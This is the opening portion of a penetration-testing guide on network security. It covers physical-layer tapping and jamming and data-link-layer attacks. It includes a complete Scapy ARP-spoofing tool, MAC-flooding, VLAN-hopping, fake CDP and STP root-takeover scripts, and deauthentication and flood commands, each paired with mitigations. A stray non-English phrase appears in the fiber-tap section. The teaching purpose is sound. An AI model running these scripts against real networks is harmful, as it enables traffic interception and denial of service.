Part 1: Networking Fundamentals for Penetration Testers
- 1.1 The OSI Model: A Hacker's Perspective
- 1.2 TCP/IP Protocol Suite Deep Dive
- 1.3 IPv4 and IPv6: Critical Differences for Testing
- 1.4 Network Addressing and Subnetting Mastery
- 1.5 Network Protocols Every Tester Must Know
- 1.6 Wireless Networking Fundamentals
- 1.7 Software-Defined Networking and Virtual Networks
Part 2: Network Architecture for Penetration Testers
- 2.1 Enterprise Network Topologies
- 2.2 Network Segmentation and Security Zones
- 2.3 Network Devices: Attack Surface Analysis
- 2.4 Cloud Network Architecture
- 2.5 Data Center Networking
- 2.6 Industrial Control System Networks
- 2.7 Internet of Things Network Architectures
Part 3: Advanced Reconnaissance and Enumeration
- 3.1 Passive Reconnaissance Methodology
- 3.2 Active Scanning and Enumeration
- 3.3 Service-Specific Enumeration
- 3.4 Network Mapping and Visualization
- 3.5 OSINT for Network Intelligence
- 3.6 Dark Web and Deep Web Reconnaissance
- 3.7 Automated Reconnaissance Frameworks
Part 4: Network-Based Web Attacks
- 4.1 Man-in-the-Middle (MITM) Attacks
- 4.2 HTTP Request Smuggling
- 4.3 Web Cache Poisoning and Deception
- 4.4 DNS Rebinding Attacks
- 4.5 Server-Side Request Forgery (SSRF)
- 4.6 Cross-Site WebSocket Hijacking
- 4.7 HTTP Desync Attacks
- 4.8 Protocol Confusion Attacks
- 4.9 Session-Based Network Attacks
- 4.10 Advanced Persistent Threat Network Techniques
Part 5: Traffic Analysis and Network Forensics
- 5.1 Packet Capture and Analysis
- 5.2 Protocol Anomaly Detection
- 5.3 Network Forensics for Incident Response
- 5.4 Encrypted Traffic Analysis
- 5.5 Network Flow Analysis
- 5.6 Malware Traffic Patterns
- 5.7 Timeline Analysis and Reconstruction
- 5.8 Network Evidence Collection and Preservation
Part 6: Defensive Architectures and Bypass Techniques
- 6.1 Web Application Firewall (WAF) Bypass
- 6.2 Intrusion Detection/Prevention System Evasion
- 6.3 Network Access Control Bypass
- 6.4 Firewall and ACL Bypass
- 6.5 Load Balancer and Reverse Proxy Testing
- 6.6 Content Delivery Network (CDN) Bypass
- 6.7 DDoS Protection Evasion
- 6.8 Bot Detection and Mitigation Bypass
Part 7: Emerging Technologies and Future Trends
- 7.1 Cloud Network Security
- 7.2 Container and Orchestration Networking
- 7.3 IoT and OT Network Security
- 7.4 5G and Mobile Network Security
- 7.5 Zero Trust Network Architecture
- 7.6 AI/ML in Network Security
- 7.7 Quantum Computing Implications
- 7.8 Blockchain and Decentralized Networks
Part 8: Penetration Testing Methodology and Reporting
- 8.1 Comprehensive Testing Methodology
- 8.2 Professional Reporting
- 8.3 Tools of the Trade
- 8.4 Vulnerability Scoring and Prioritization
- 8.5 Remediation Verification
- 8.6 Continuous Security Testing
- 8.7 Compliance and Regulatory Requirements
Part 9: Bug Bounty Hunting with Network Focus
- 9.1 Bug Bounty Methodology for Network Issues
- 9.2 Advanced Bug Bounty Techniques
- 9.3 Ethics and Legal Considerations
- 9.4 Bug Bounty Platforms and Programs
- 9.5 Maximizing Bounty Payouts
- 9.6 Building Reputation in the Community
- 9.7 From Bug Bounty to Career
Part 10: Continuous Learning and Skill Development
- 10.1 Certifications and Training Paths
- 10.2 Practice Environments
- 10.3 Staying Current
- 10.4 Building Your Own Lab
- 10.5 Contributing to the Community
- 10.6 Specialization Paths
- 10.7 Career Progression in Network Security
Appendices
- A: Comprehensive Command Reference
- B: Port Numbers and Service Mapping
- C: Vulnerability Databases and Resources
- D: Sample Penetration Testing Reports
- E: Legal Documents and Templates
- F: Glossary of Terms
- G: Further Reading and References
Network security forms the backbone of all web application security assessments. Before you can exploit a SQL injection or bypass authentication, you must first understand how data moves across networks, how systems communicate, and where the weak points exist in this communication chain. This comprehensive guide will transform your understanding of network security from basic concepts to advanced exploitation techniques used by top bug bounty hunters and penetration testers.
The modern web application landscape has evolved far beyond simple client-server architectures. Today's applications span cloud environments, content delivery networks, microservices, and containerized infrastructures. Each layer introduces new network-level vulnerabilities that can be chained with application-level flaws to achieve complete system compromise.
When conducting web application penetration tests, many testers focus exclusively on the application layer, examining code, inputs, and business logic. However, this narrow focus misses critical vulnerabilities that exist at the network level. Consider these scenarios:
Scenario 1: The Bypassed Authentication A web application implements robust authentication with multi-factor authentication, strong password policies, and account lockout. However, the application communicates with its database over an unencrypted network connection. An attacker with access to the internal network captures database credentials and bypasses all application-layer security.
Scenario 2: The Trusted Network Assumption An internal web application trusts requests coming from the corporate network, assuming they're legitimate. An attacker compromises a low-value system on the network, then uses it to attack the web application with elevated privileges, exploiting the network trust relationship.
Scenario 3: The Cloud Metadata Heist A web application suffers from a Server-Side Request Forgery (SSRF) vulnerability. The attacker uses this to query the cloud metadata service, obtaining temporary credentials with extensive permissions. Network-level understanding turns a medium-risk web vulnerability into a critical infrastructure compromise.
Scenario 4: The Session Hijacking A user connects to a web application from a coffee shop Wi-Fi. The application uses HTTPS, but an attacker performs SSL stripping, downgrading the connection to HTTP. The attacker captures the session cookie and gains unauthorized access to the user's account.
Each scenario demonstrates that web application security cannot be separated from network security. They are intrinsically linked, and understanding both domains is essential for comprehensive security assessments.
Network attacks have evolved significantly over the decades:
1980s-1990s: The Era of Simple Attacks Early network attacks were straightforward: packet sniffing on shared media, IP spoofing, and basic denial of service. Networks were flat, security was minimal, and attackers exploited fundamental protocol weaknesses.
2000s: The Rise of Application Awareness As network security improved with firewalls and intrusion detection systems, attackers shifted focus to applications. Web applications became the primary target, and network attacks were often used as supporting elements for application exploitation.
2010s: The Cloud and Mobile Revolution Cloud computing and mobile devices transformed network architectures. Traditional perimeter-based security became obsolete as applications moved to the cloud and users connected from anywhere. Network attacks adapted to target cloud metadata, APIs, and mobile backends.
2020s: Zero Trust and Beyond Modern network security embraces zero trust principles: never trust, always verify. Networks are increasingly virtualized, encrypted, and segmented. Attackers respond with sophisticated techniques that exploit trust relationships, abuse legitimate services, and chain multiple vulnerabilities across network and application layers.
This comprehensive guide serves multiple audiences:
Aspiring Penetration Testers If you're starting your journey in security, this guide provides the foundational knowledge you need. You'll learn how networks really work, where vulnerabilities hide, and how to think like an attacker. The hands-on examples and methodologies will accelerate your learning curve.
Experienced Web Application Testers If you already understand web vulnerabilities but want to expand your skills, this guide bridges the gap between application and network testing. You'll learn how to leverage network access for deeper exploitation and how network vulnerabilities amplify application risks.
Bug Bounty Hunters If you're hunting for bugs, network-focused vulnerabilities often yield higher payouts because they're less commonly reported. This guide reveals techniques for discovering DNS misconfigurations, cloud infrastructure exposures, and network-level flaws that other hunters miss.
Security Engineers and Architects If you're responsible for building and defending networks, understanding attack techniques helps you design better defenses. This guide shows how attackers think and operate, enabling proactive security improvements.
IT Professionals and System Administrators If you manage networks and systems, this guide helps you understand security implications of your configurations. You'll learn what attackers look for and how to harden your infrastructure against real-world threats.
This guide is designed as both a learning resource and a reference manual:
For Sequential Learning If you're new to network security, start at the beginning and work through each section. The content builds progressively, with later sections assuming understanding of earlier concepts. Complete the hands-on exercises to reinforce learning.
For Targeted Reference If you need information on a specific topic, use the table of contents to find relevant sections. Each section is self-contained with cross-references to related topics. The comprehensive appendices provide quick access to commands, port numbers, and resources.
For Practical Application Throughout the guide, you'll find practical examples, command snippets, and code samples. Set up a lab environment and experiment with these techniques. Real understanding comes from hands-on practice, not just reading.
For Continuous Learning Network security evolves constantly. Use the resources in Part 10 to stay current, and revisit sections as your skills develop. What seems complex today will become second nature with practice.
Before diving into technical details, it's essential to understand the mindset that separates exceptional penetration testers from average ones:
Curiosity and Skepticism Great testers are inherently curious about how things work and skeptical of assumptions. When you see a network configuration, ask: "Why is this set up this way? What assumptions are being made? How could this be abused?"
Persistence and Patience Network testing often requires patience. Port scans take time. Service enumeration requires careful analysis. Complex attacks may require multiple attempts. The best testers don't give up when initial attempts fail.
Creativity and Lateral Thinking The most impactful vulnerabilities often come from unexpected combinations. An SSRF vulnerability in a web application might lead to cloud metadata access, which provides credentials to compromise a database, which contains customer data. Creative testers see connections others miss.
Methodical and Thorough While creativity is important, methodical thoroughness is essential. Comprehensive reconnaissance, systematic testing, and careful documentation separate professional assessments from casual hacking. Leave no stone unturned, but do so systematically.
Ethical and Responsible With great power comes great responsibility. The techniques in this guide can cause real damage if misused. Always test with proper authorization, respect scope boundaries, and handle discovered vulnerabilities responsibly.
Throughout this guide, you'll need a proper testing environment. Here's what you should set up before proceeding:
Virtualization Platform Install VMware Workstation, VirtualBox, or Proxmox to run multiple virtual machines. This allows you to create isolated networks for safe testing.
Kali Linux Kali Linux is the standard penetration testing distribution, pre-loaded with hundreds of tools. Install it as your primary attack platform.
Target Systems Set up vulnerable targets for practice:
- Metasploitable 2 and 3 (intentionally vulnerable Linux)
- DVWA (Damn Vulnerable Web Application)
- WebGoat (OWASP training application)
- Windows VMs with evaluation versions
- pfSense (firewall/router for network segmentation)
Network Simulation For complex network testing, use GNS3 or EVE-NG to simulate routers, switches, and firewalls. These platforms allow you to build enterprise-scale networks on a single computer.
Cloud Testing Environment Create accounts on AWS, Azure, or GCP for cloud-specific testing. Use free tiers and always terminate resources after testing to avoid charges.
Docker for Container Testing Install Docker and Kubernetes for container security testing. Run vulnerable containers intentionally for practice.
Isolation and Safety Always isolate your lab network from production networks. Use host-only or NAT networking in virtualization software to prevent accidental attacks on real systems.
The Open Systems Interconnection (OSI) model remains the foundational framework for understanding network communications. For penetration testers, each layer represents a potential attack surface, and understanding the intricacies of each layer reveals opportunities for exploitation that others might miss.
The physical layer encompasses the actual hardware that moves data: cables, switches, network interface cards, hubs, repeaters, and wireless signals. While often overlooked in web application testing, physical layer attacks can bypass even the most sophisticated software security controls because they operate below the level where software security exists.
Copper Cabling (Ethernet) Ethernet over twisted pair copper cabling (Categories 5e, 6, 6a, 7, 8) remains the most common physical medium for local networks. Each category has different characteristics:
- Cat5e: Supports up to 1 Gbps at 100 MHz, common in older installations
- Cat6: Supports up to 10 Gbps at 250 MHz for distances up to 55 meters
- Cat6a: Supports 10 Gbps at 500 MHz for full 100 meter distance
- Cat7: Shielded cabling supporting up to 10 Gbps at 600 MHz
- Cat8: Supports 25-40 Gbps at 2000 MHz for data center applications
The electrical signals traveling through copper cabling generate electromagnetic fields that can be intercepted with appropriate equipment. This phenomenon, known as electromagnetic compromise or Van Eck phreaking, allows attackers to reconstruct data by analyzing these emissions from a distance.
Fiber Optic Cabling Fiber optic cables transmit data as light pulses through glass or plastic fibers. They offer higher bandwidth, longer distances, and immunity to electromagnetic interference. However, they're not immune to tapping:
- Macrobending: Physical stress on the fiber causes light to escape, which can be captured
- Splitting: Optical splitters can divert a portion of the light signal
- Polishing: Removing cladding to access the light-carrying core
Fiber taps are more difficult to detect than copper taps because they don't require breaking the electrical circuit, but they require physical access to the cable and specialized equipment.
Wireless Signals Wireless networking uses radio frequencies to transmit data:
- 2.4 GHz: Better range, more interference (microwaves, Bluetooth, cordless phones)
- 5 GHz: Higher speed, shorter range, less interference
- 6 GHz (Wi-Fi 6E): New spectrum, even higher speeds, minimal interference
- 60 GHz (WiGig): Very high speed, very short range, line-of-sight required
Wireless signals propagate through the air and walls, making them inherently interceptable. Directional antennas can capture signals from significant distances.
Network Interface Cards (NICs) NICs connect devices to the network medium. They have unique MAC addresses burned into firmware and handle the electrical/optical conversion of data. Modern NICs support features like:
- Wake-on-LAN: Remotely power on systems
- PXE Boot: Network booting of operating systems
- Checksum Offloading: Hardware calculation of packet checksums
- TCP Offload Engine: Hardware processing of TCP/IP stack
Cable Tapping and Eavesdropping
Copper Tap Techniques:
- Inductive Coupling: Clamping a device around a cable to capture electromagnetic signals without breaking the insulation. This non-intrusive technique is difficult to detect but provides weaker signal strength.
- Insertion Tap: Physically cutting the cable and inserting a T-connector or vampire tap. This provides strong signal access but creates physical evidence.
- Split Pair Tap: Using the unused wire pairs in Ethernet cables (10/100 Mbps uses only 2 of 4 pairs) to carry tapped signals.
Fiber Tap Techniques:
- Cladding Tap: Removing the outer jacket and bending the fiber to cause light leakage, captured by a photodetector.
- Splitter Tap: Inserting a passive optical splitter (90/10 or 50/50 split) that diverts一部分 of the light signal to the tapping device.
- Polishing Tap: Polishing the fiber cladding until thin enough for light to escape, then capturing with a prism or photodetector.
Detection Challenges:
- Optical time-domain reflectometry (OTDR) can detect physical changes in fiber
- Capacitance measurements can detect copper taps
- Active monitoring for signal loss or reflection changes
- Physical security inspections
Signal Jamming and Denial of Service
Copper Domain Jamming:
- Electrical Noise Injection: Introducing electrical interference on the cable
- Collision Creation: Forcing collisions in half-duplex environments
- Signal Attenuation: Physically damaging cables to degrade signal quality
Wireless Jamming Techniques:
- Constant Carrier: Transmitting continuous signal on the target frequency
- Reactive Jamming: Transmitting only when legitimate traffic is detected
- Selective Jamming: Targeting specific packets (beacons, ACKs, management frames)
- Deauthentication Attacks: Sending spoofed deauth frames to disconnect clients
Wireless Jamming Tools:
# Using mdk4 for deauthentication attacks
mdk4 wlan0 d -B <BSSID> -c <channel>
# Using wifijammer for continuous jamming
wifijammer -c <channel> -s <signal threshold>
# Using hping3 for network flooding
hping3 --flood --rand-source --destport 80 <target IP>Hardware Implants and Malicious Devices
Types of Hardware Implants:
- Keyloggers: Devices inserted between keyboard and computer capturing keystrokes
- Network Taps: Small devices inserted into network cables capturing all traffic
- USB Ninja Cables: USB cables containing hidden wireless transmitters
- Malicious Charging Stations: USB charging ports that capture data while charging
- Rogue Access Points: Small devices creating unauthorized wireless access
Deployment Scenarios:
- Physical penetration testing (accessing server rooms, wiring closets)
- Social engineering (gifts, lost USB drives, fake chargers)
- Supply chain attacks (compromised hardware before delivery)
- Insider threats (disgruntled employees installing devices)
Detection Methods:
- Physical inspections of cabling and equipment
- Network scanning for unauthorized devices
- Spectrum analysis for rogue wireless signals
- Tamper-evident seals and monitoring
Electromagnetic Radiation Capture (Van Eck Phreaking)
The Van Eck Phenomenon: In 1985, Dutch researcher Wim van Eck demonstrated that CRT monitors emit electromagnetic radiation that can be captured from a distance and reconstructed to display the original image. Modern research extends this to LCD screens, keyboards, USB cables, and network equipment.
Capture Techniques:
- TEMPEST: U.S. government standard for protecting against electromagnetic eavesdropping
- HJR-7: High-frequency receivers for capturing compromising emanations
- Software-defined radio (SDR): Using RTL-SDR dongles for low-cost electromagnetic capture
- Near-field probes: Small antennas placed close to equipment
Information That Can Be Captured:
- Screen displays (video signals)
- Keyboard keystrokes
- Network traffic (especially unshielded cabling)
- Disk drive activity
- CPU processing patterns
Countermeasures:
- Shielded equipment (TEMPEST-rated)
- Distance and physical barriers
- Signal noise generation
- Fiber optics instead of copper
- Faraday cages for sensitive areas
Scenario: Physical Access to Network Closet During a physical penetration test, you gain access to an unlocked network closet. What can you do?
- Install a Network Tap: Insert an inline tap between the switch and uplink, capturing all traffic to/from that network segment.
- Deploy a Rogue Access Point: Connect a small wireless access point to an unused switch port, creating an entry point for remote access.
- Gather Intelligence: Photograph equipment labels, note cable colors (often indicate VLANs), identify critical infrastructure.
- Plant a Hardware Implant: Install a small device that provides persistent remote access.
- Physical Keylogging: Install hardware keyloggers on administrator workstations.
Scenario: Coffee Shop Wi-Fi Assessment Testing the security of a public Wi-Fi network:
- Signal Analysis: Use spectrum analyzers to identify all wireless networks and their signal strengths.
- Evil Twin Attack: Set up an access point with the same SSID as the legitimate network, but stronger signal, causing clients to connect to your AP.
- Hardware Implants: Check for suspicious devices plugged into Ethernet jacks or USB ports.
- Physical Observation: Note where people sit, what devices they use, and whether they use privacy screens.
For Penetration Testers (Understanding Defenses):
- Physical security controls (locks, cameras, access control systems)
- Tamper-evident seals and monitoring
- Cable management and protection
- Electromagnetic shielding requirements
- Equipment disposal procedures
For Defenders:
- Restrict physical access to network infrastructure
- Use fiber optics for sensitive connections
- Implement cable monitoring systems
- Regular physical security audits
- Employee awareness training
The data link layer handles communication between directly connected devices on the same network segment. It uses Media Access Control (MAC) addresses to identify devices and manages access to the physical medium. This layer is divided into two sublayers: Logical Link Control (LLC) and Media Access Control (MAC).
MAC Addresses MAC addresses are 48-bit identifiers burned into network interfaces, typically represented as six groups of two hexadecimal digits (e.g., 00:11:22:AA:BB:CC). The first three octets (OUI - Organizationally Unique Identifier) identify the manufacturer, while the last three are device-specific.
MAC Address Structure:
- First Octet Bit 0: Individual/Group (0 = unicast, 1 = multicast)
- First Octet Bit 1: Universal/Local (0 = globally unique, 1 = locally administered)
- Remaining 46 bits: Unique identifier
Locally Administered Addresses: Administrators can override burned-in MAC addresses with locally administered addresses (second bit set to 1). This is commonly used for:
- MAC address spoofing (privacy/security)
- Virtual machines (unique MACs for VMs)
- High availability configurations (floating MAC addresses)
Switches and Their Operation
Switch Functions:
- MAC Learning: Records source MAC addresses and associated ports
- Forwarding: Sends frames only to the port where destination MAC resides
- Filtering: Drops frames destined for MAC addresses on the same port
- Flooding: Sends frames to all ports when destination MAC unknown
- Aging: Removes old MAC entries after inactivity (typically 300 seconds)
Content Addressable Memory (CAM) Table: The CAM table (also called MAC address table) stores mappings between MAC addresses and switch ports:
Port 1: MAC A, MAC B, MAC C
Port 2: MAC D, MAC E
Port 3: MAC F
Port 4: (empty)
When a frame arrives, the switch:
- Looks up destination MAC in CAM table
- If found, forwards frame only to that port
- If not found, floods frame to all ports except source
- If destination MAC is on source port, drops frame
Switch Forwarding Modes:
- Store-and-Forward: Receives entire frame, checks CRC, then forwards
- Cut-Through: Forwards as soon as destination MAC is read (lower latency)
- Fragment-Free: Waits for collision window (64 bytes) before forwarding
VLANs (Virtual Local Area Networks)
VLANs segment switches into multiple logical switches, isolating traffic between groups:
802.1Q VLAN Tagging: VLAN tags are inserted into Ethernet frames:
- TPID (Tag Protocol ID): 0x8100 (indicates VLAN tag)
- PCP (Priority Code Point): 3 bits for QoS (802.1p)
- DEI (Drop Eligible Indicator): 1 bit for congestion management
- VID (VLAN ID): 12 bits (1-4094 usable, 0 and 4095 reserved)
Trunk Ports vs Access Ports:
- Access Port: Carries traffic for single VLAN, strips tags
- Trunk Port: Carries traffic for multiple VLANs, maintains tags
- Native VLAN: Untagged traffic on trunk (VLAN 1 by default)
VLAN Types:
- Default VLAN (VLAN 1): All ports initially, security risk if unchanged
- Data VLAN: User traffic segregation
- Voice VLAN: Separate VLAN for VoIP phones
- Management VLAN: Switch management access
- Native VLAN: Untagged on trunks
- Private VLANs: Further isolation within VLAN (isolated, community, promiscuous)
ARP (Address Resolution Protocol)
ARP maps IP addresses to MAC addresses on local networks:
ARP Operation:
- Host A needs to communicate with 192.168.1.2
- Checks ARP cache for existing mapping
- If not found, broadcasts ARP request: "Who has 192.168.1.2?"
- Host B sees request, sends ARP reply: "192.168.1.2 is at 00:11:22:33:44:55"
- Host A updates ARP cache and sends packets
ARP Packet Structure:
- Hardware Type: 1 for Ethernet
- Protocol Type: 0x0800 for IPv4
- Hardware Size: 6 (MAC address length)
- Protocol Size: 4 (IPv4 address length)
- Opcode: 1 = request, 2 = reply
- Sender MAC/IP: Source information
- Target MAC/IP: Destination information (target MAC zero in request)
ARP Cache: Operating systems cache ARP entries to reduce broadcasts:
- Linux:
arp -norip neigh show - Windows:
arp -a - MacOS:
arp -a
Cache timeout varies by OS (typically 20-60 seconds for incomplete, up to 20 minutes for complete).
STP (Spanning Tree Protocol)
STP prevents loops in redundant switch topologies:
Bridge Protocol Data Units (BPDUs): Switches exchange BPDUs to:
- Elect root bridge (lowest bridge ID)
- Determine shortest path to root
- Block redundant paths to prevent loops
BPDU Types:
- Configuration BPDU: Sent by root bridge to maintain topology
- TCN (Topology Change Notification) BPDU: Sent when topology changes
Port States:
- Blocking: No forwarding, listens for BPDUs (20 sec)
- Listening: No forwarding, learns topology (15 sec)
- Learning: No forwarding, builds MAC table (15 sec)
- Forwarding: Normal operation
- Disabled: Administratively down
STP Versions:
- 802.1D (Classic STP): Slow convergence (30-50 seconds)
- 802.1w (RSTP - Rapid STP): Faster convergence (few seconds)
- 802.1s (MSTP - Multiple STP): Multiple instances per VLAN
- PVST+ (Per-VLAN STP+): Cisco proprietary, instance per VLAN
CDP/LLDP (Cisco Discovery Protocol/Link Layer Discovery Protocol)
These protocols discover neighboring devices:
CDP (Cisco Proprietary):
- Enabled by default on Cisco devices
- Multicasts to 01:00:0C:CC:CC:CC
- Advertises device ID, platform, capabilities, interfaces, VLAN, etc.
- Sent every 60 seconds, hold time 180 seconds
LLDP (IEEE 802.1AB):
- Vendor-neutral alternative
- Multicasts to 01:80:C2:00:00:0E or 01:80:C2:00:00:03
- Similar information to CDP
- Configurable timers (default 30 seconds)
Information Leakage: Both protocols leak valuable intelligence:
- Device models and versions
- IP addresses and VLANs
- Capabilities (router, switch, bridge)
- Interface names and descriptions
ARP Spoofing/Poisoning Attack
ARP spoofing exploits the lack of authentication in ARP:
Attack Mechanics:
- Attacker sends forged ARP replies to victim, claiming to be gateway
- Victim updates ARP cache with attacker's MAC for gateway IP
- Attacker sends forged ARP replies to gateway, claiming to be victim
- Gateway updates ARP cache with attacker's MAC for victim IP
- All traffic between victim and gateway passes through attacker
ARP Spoofing Implementation:
#!/usr/bin/env python3
# Comprehensive ARP spoofing tool with packet forwarding
from scapy.all import *
import time
import sys
import os
import signal
class ARPSpoofer:
def __init__(self, interface, target_ip, gateway_ip):
self.interface = interface
self.target_ip = target_ip
self.gateway_ip = gateway_ip
self.target_mac = None
self.gateway_mac = None
self.running = True
# Enable IP forwarding
os.system("echo 1 > /proc/sys/net/ipv4/ip_forward")
def get_mac(self, ip):
"""Get MAC address for IP"""
ans, unans = srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=ip),
timeout=2, iface=self.interface, verbose=False)
for sent, received in ans:
return received[Ether].src
return None
def spoof(self):
"""Send ARP spoofing packets"""
print(f"[+] Spoofing: {self.target_ip} -> {self.gateway_ip}")
# Create spoofed packets
target_packet = ARP(op=2, pdst=self.target_ip, hwdst=self.target_mac,
psrc=self.gateway_ip)
gateway_packet = ARP(op=2, pdst=self.gateway_ip, hwdst=self.gateway_mac,
psrc=self.target_ip)
while self.running:
send(target_packet, iface=self.interface, verbose=False)
send(gateway_packet, iface=self.interface, verbose=False)
time.sleep(2)
def restore(self):
"""Restore ARP tables"""
print("\n[+] Restoring ARP tables...")
# Send correct ARP entries
restore_target = ARP(op=2, pdst=self.target_ip, hwdst=self.target_mac,
psrc=self.gateway_ip, hwsrc=self.gateway_mac)
restore_gateway = ARP(op=2, pdst=self.gateway_ip, hwdst=self.gateway_mac,
psrc=self.target_ip, hwsrc=self.target_mac)
send(restore_target, count=4, iface=self.interface, verbose=False)
send(restore_gateway, count=4, iface=self.interface, verbose=False)
# Disable IP forwarding
os.system("echo 0 > /proc/sys/net/ipv4/ip_forward")
def signal_handler(self, sig, frame):
"""Handle Ctrl+C"""
print("\n[!] Interrupt received")
self.running = False
self.restore()
sys.exit(0)
def run(self):
"""Main execution"""
# Get MAC addresses
print("[*] Resolving MAC addresses...")
self.target_mac = self.get_mac(self.target_ip)
self.gateway_mac = self.get_mac(self.gateway_ip)
if not self.target_mac or not self.gateway_mac:
print("[-] Failed to resolve MAC addresses")
return
print(f"[+] Target MAC: {self.target_mac}")
print(f"[+] Gateway MAC: {self.gateway_mac}")
# Set up signal handler
signal.signal(signal.SIGINT, self.signal_handler)
# Start spoofing
self.spoof()
if __name__ == "__main__":
if len(sys.argv) != 4:
print("Usage: arpspoof.py <interface> <target_ip> <gateway_ip>")
sys.exit(1)
spoofer = ARPSpoofer(sys.argv[1], sys.argv[2], sys.argv[3])
spoofer.run()Detection and Prevention:
- Static ARP entries: Manually configure critical systems
- ARP spoofing detection: Tools like arpwatch, XArp
- Dynamic ARP Inspection (DAI): Switches validate ARP packets
- DHCP Snooping: Prevents rogue DHCP servers
- Port Security: Limits MAC addresses per port
MAC Flooding Attack
Attack Mechanics:
- Attacker floods switch with frames containing random source MAC addresses
- Switch CAM table fills, can't learn new addresses
- Switch enters "fail-open" mode, flooding all frames to all ports
- Attacker can now see all traffic (like on a hub)
MAC Flooding Implementation:
from scapy.all import *
import random
def mac_flood(interface, count=10000):
"""Flood switch with fake MAC addresses"""
for i in range(count):
# Generate random MAC
mac = "02:%02x:%02x:%02x:%02x:%02x" % tuple(random.randint(0,255) for _ in range(5))
# Create frame with random MAC
frame = Ether(src=mac, dst="ff:ff:ff:ff:ff:ff")/IP(src="192.168.1.%d" % random.randint(2,254),
dst="192.168.1.1")/ICMP()
sendp(frame, iface=interface, verbose=False)
if i % 100 == 0:
print(f"[+] Sent {i} frames")Mitigation:
- Port Security: Limit MAC addresses per port
- MAC Flooding Detection: Monitor CAM table size
- Switch Hardening: Disable unused ports
- Network Segmentation: Limit broadcast domains
VLAN Hopping Attacks
Switch Spoofing:
- Attacker configures system as a switch with trunking enabled
- Sends DTP (Dynamic Trunking Protocol) frames to negotiate trunk
- Real switch sees DTP frames and establishes trunk
- Attacker now has access to all VLANs on trunk
Switch Spoofing Implementation:
from scapy.all import *
import struct
# DTP frame (simplified)
dtp_frame = Ether(dst="01:00:0c:cc:cc:cc", src="02:11:22:33:44:55")/ \
LLC(dsap=0xaa, ssap=0xaa, ctrl=0x03)/ \
SNAP(OUI=0x00000c, code=0x2004)/ \
Raw(load=struct.pack("!HH", 0x0001, 0x0001))
sendp(dtp_frame, iface="eth0", count=10)Double Tagging:
- Attacker sends frame with two VLAN tags
- First switch removes outer tag (native VLAN), forwards frame
- Second switch sees remaining tag and forwards to target VLAN
- Only works when attacker on same native VLAN as trunk
Double Tagging Implementation:
from scapy.all import *
# Frame with double 802.1Q tags
frame = Ether(dst="ff:ff:ff:ff:ff:ff")/ \
Dot1Q(vlan=1)/ \ # Outer tag (native VLAN)
Dot1Q(vlan=10)/ \ # Inner tag (target VLAN)
IP(dst="192.168.10.1")/ICMP()
sendp(frame, iface="eth0")Mitigation:
- Disable DTP on access ports:
switchport nonegotiate - Change native VLAN from default (VLAN 1)
- Explicitly prune unused VLANs from trunks
- Use VLAN access maps for filtering
CDP/LLDP Attacks
Information Gathering:
# Capture CDP packets
tcpdump -i eth0 -v -s 1500 -c 10 'ether[20:2]==0x2000'
# Parse CDP information (using Python)
from scapy.all import *
def parse_cdp(pkt):
if pkt.haslayer(CDP):
cdp = pkt[CDP]
print(f"Device ID: {cdp.val_deviceid if hasattr(cdp, 'val_deviceid') else 'Unknown'}")
print(f"Platform: {cdp.val_platform if hasattr(cdp, 'val_platform') else 'Unknown'}")
print(f"Addresses: {cdp.val_address if hasattr(cdp, 'val_address') else 'Unknown'}")
print(f"Port ID: {cdp.val_portid if hasattr(cdp, 'val_portid') else 'Unknown'}")
sniff(filter="ether dst 01:00:0c:cc:cc:cc", prn=parse_cdp, count=10)Fake CDP Advertisement:
# Send fake CDP to confuse network mapping
fake_cdp = Ether(dst="01:00:0c:cc:cc:cc")/ \
LLC(dsap=0xaa, ssap=0xaa, ctrl=0x03)/ \
SNAP(OUI=0x00000c, code=0x2000)/ \
CDP(version=2, ttl=180, checksum=0)/ \
CDPDeviceID(val="Fake-Router")/ \
CDPPlatform(val="Cisco 2901")/ \
CDPAddress(val="192.168.1.1")
sendp(fake_cdp, iface="eth0", loop=1, inter=60)Mitigation:
- Disable CDP/LLDP on user-facing ports
- Use dedicated management VLAN
- Filter CDP/LLDP at network edge
Spanning Tree Protocol Attacks
STP Manipulation:
- Attacker sends BPDUs claiming lower bridge ID
- Network reconverges with attacker as root bridge
- Attacker sees all traffic (roots see all paths)
- Can also cause network instability
STP Attack Implementation:
# Claim to be root bridge with priority 0
bpdu = Ether(dst="01:80:c2:00:00:00")/ \
LLC(dsap=0x42, ssap=0x42, ctrl=0x03)/ \
STP(
proto=0,
version=0,
bpdutype=0x00,
bpduflags=0x00,
rootid=0, # Priority 0 (lowest)
rootmac="02:00:00:00:00:01",
cost=0,
bridgeid=0,
bridgemac="02:00:00:00:00:01",
portid=0x8001,
age=0,
maxage=20,
hellotime=2,
fwddelay=15
)
sendp(bpdu, iface="eth0", loop=1, inter=2)Mitigation:
- BPDU Guard: Shut down ports receiving BPDUs
- Root Guard: Prevent port from becoming root
- Loop Guard: Prevent alternate/backup ports from becoming designated
- PortFast: Immediately transition access ports to forwarding
When testing layer 2 security, verify:
- ARP spoofing possible? (Dynamic ARP Inspection enabled?)
- MAC flooding successful? (Port security configured?)
- VLAN hopping possible? (DTP disabled, native VLAN changed?)
- CDP/LLDP enabled on access ports? (Information leakage)
- STP attacks possible? (BPDU Guard enabled?)
- DHCP starvation possible? (DHCP Snooping enabled?)
- MAC address spoofing allowed? (Port security with sticky MAC?)
- Broadcast storms possible? (Storm control configured?)
- Private VLAN bypass techniques? (PVLAN edge security?)
The network layer handles logical addressing and routing across different networks. Internet Protocol (IP) operates at this layer, along with routing protocols like OSPF, BGP, and ICMP. Understanding layer 3 vulnerabilities is essential for network penetration testing.
IPv4 Packet Structure:
- Version (4 bits): 4 for IPv4
- IHL (4 bits): Header length in 32-bit words (minimum 5)
- Type of Service (8 bits): QoS/differentiated services
- Total Length (16 bits): Entire packet length (up to 65535 bytes)
- Identification (16 bits): Fragment identification
- Flags (3 bits): DF (Don't Fragment), MF (More Fragments)
- Fragment Offset (13 bits): Fragment position in original packet
- TTL (8 bits): Time to Live (max hops)
- Protocol (8 bits): Upper layer protocol (TCP=6, UDP=17, ICMP=1)
- Header Checksum (16 bits): Error checking for header
- Source Address (32 bits): Sender IP
- Destination Address (32 bits): Receiver IP
- Options (variable): Security, routing, timestamp options
IPv6 Enhancements:
- 128-bit addresses: 3.4×10^38 addresses
- Simplified header: Fixed 40 bytes, fewer fields
- Extension headers: Fragmentation, authentication, etc.
- No checksum: Relies on upper layer checksums
- Flow labeling: QoS without transport info
- Neighbor Discovery: Replaces ARP with ICMPv6
IPv6 Address Types:
- Global Unicast: 2000::/3 (internet-routable)
